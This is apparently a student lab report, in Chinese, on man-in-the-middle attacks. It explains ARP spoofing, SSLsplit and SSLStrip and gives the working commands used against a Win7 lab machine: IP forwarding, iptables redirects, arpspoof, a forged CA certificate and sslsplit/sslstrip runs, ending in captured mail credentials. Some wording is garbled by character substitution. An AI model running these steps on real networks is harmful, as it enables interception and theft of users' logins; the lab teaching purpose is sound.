2017-2018-2 20155315《网络对抗技术》免考四:中间人攻击

原理

中间人攻击(Man-in-the-Middle Attack, MITM)是一种由来已久的网络入侵手段,而且在今天仍然有着普遍的发展空间,如SMB会话劫持、DNS欺骗等攻击都是典型的MITM攻击。简而言之,所谓的MITM攻击就是经过拦截正常的网络通讯数据,并进行数据篡改和嗅探,而通讯的双方却绝不知情。html

arp欺骗

  • 攻击者能够根据用户与服务器之间ARP广播包,能够假装成一方告诉另外一方假地址来获取敏感信息。
  • ARP欺骗是黑客经常使用的攻击手段之一,ARP欺骗分为二种:
    • 对路由器ARP表的欺骗:截获网关数据。它通知路由器一系列错误的内网MAC地址,并按照必定的频率不断进行,使真实的地址信息没法经过更新保存在路由器中,结果路由器的全部数据只能发送给错误的MAC地址,形成正常PC没法收到信息。
    • 对内网PC的网关欺骗:伪造网关。它的原理是创建假网关,让被它欺骗的PC向假网关发数据,而不是经过正常的路由器途径上网。在PC看来,就是上不了网了,“网络掉线了”。
  • arpspoof参数应用
    • -i:指定网卡
    • -t:目标机IP
    • -r:kali网关地址

SSLsplit

  • 透明SSL/TLS中间人攻击工具
  • 对客户端假装成服务器,对服务器假装成普通客户端
  • 假装服务器须要伪造证书
  • 支持SSL/TLS加密的SMTP、POP三、FTP等通讯中间人攻击

SSLStrip

  • 现实生活中,在浏览器地址栏中输入网址时,多数用户会采用直接输入网址的方式,而忽略了传输所采用的协议。用户经过HTTP向服务器发起HTTPS链接每每是经过HTTP的302重定向实现的。SSLStrip攻击利用这一特色,在用户端接受到跳转信息以前经过明文HTTP协议去除掉HTTPS跳转的过渡,从而使得原先本应被加密的信息都明文呈如今了攻击者的面前,使得攻击者可以自由获取须要的信息。
  • 整个SSLStrip 过程包括以下几个步骤:git

    1. 客户端Client向服务器Server发起HTTP链接请求 
    2. 中间人MITM监听客户端与服务器的HTTP数据;
    3. 服务器返回给客户端的HTTP数据包被在客户端与服务器之间的中间人截获。中间人解析原HTTP数据包,将HTTPS  URL改成HTTP  URL,同时记录下所修改的URL,并保存;
    4. 中间人将修改后的HTTP数据发送给客户端;
    5. 客户端Client向服务器Server发起HTTP链接请求;
    6. 中间人计算机解析客户端的HTTP链接请求,并与保存文件相比较。当发现存在有已修改过的HTTP URL时,将其替换成原HTTPS URL,并发送给服务器;
  • SSLStrip 所能达成的目标是在客户端与服务器创建链接时,在MITM与Server之间造成HTTPS链接,而在Client与MITM之间造成HTTP链接。
  • 结合arp地址欺骗,无需伪造证书github

过程

  • 默认状况下电脑是没有路由转发功能的,要想实现中间人攻击,要先启动路由echo 1 > /proc/sys/net/ipv4/ip_forward,也能够输sysctl -w net.ipv4.ip_forward=1
  • 接着,要对端口转发规则进行设置。
  • 使用iptables -t nat -L查看nat表中的规则
  • 确认80端口和443端口没被使用后设置规则
    iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 //HTTP iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 //HTTPS iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 //MSA iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 //SMTPS iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 //IMAPS iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 //POP3S

arp欺骗

  • kali:192.168.19.130
  • Win7:192.168.19.133
  • 输入arpspoof -i eth0 -t 192.168.19.133 -r 192.168.19.2
  • 在Win7查看欺骗先后的变化

SSLsplit

  • 使用openssl建立证书私钥:openssl genrsa -out ca.key 2048
  • 使用openssl建立证书:openssl req -new -x509 -days 1096 -key ca.key -out ca.crt
  • 在keli建立/root/test和/root/test/logdir文件夹保存记录。
  • 安装sslsplit:从gitHub上下载源码git clone https://github.com/droe/sslsplit.git /opt/sslsplit
  • 安装还须要两个包,使用apt-get install libssl-dev libevent-dev进行安装
  • 进入/opt/sslsplit使用make make install进行编译。
  • 启动SSLsplit监听端口sslsplit -D -l connect.log -j /root/test -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
  • Win7访问https链接,页面显示证书有问题,点击查看证书,发现证书已经被替换为刚刚生成的证书
  • 同时,kali得到Win7正在访问的网站的证书信息
  • 攻击者能够截获目标机上的会话信息,是相似wireshark的做用

sslstrip攻击

  • 前面已经使用arpspoof将流量进行重定向
  • 使用sslstrip –l 8080监听发往8080端口的数据
  • 测试百度网站失败
  • 测试淘宝网站失败
  • 启用sslstrip前,进入126邮箱首页,输入“http”会自动跳转为“http”,启用sslstrip后,页面一开始会提示网络链接失败,当再次刷新的时候,页面变为“http”链接,kali街渠道用户名和口令。

总结

中间人攻击是较为隐蔽的社会学攻击,中间人攻击会使用户以为可能只是网络很差使得网页加载缓慢或须要刷新,若是用户没有注意到使用的是http协议或者没有注意到证书的问题,就可能被截取用户名和口令。所以,在平常生活中,对一些网银、购物、邮箱等网站要养成手动输入https协议的习惯,多注意细节,就能尽量避免被攻击。浏览器

参考资料

相关文章
相关标签/搜索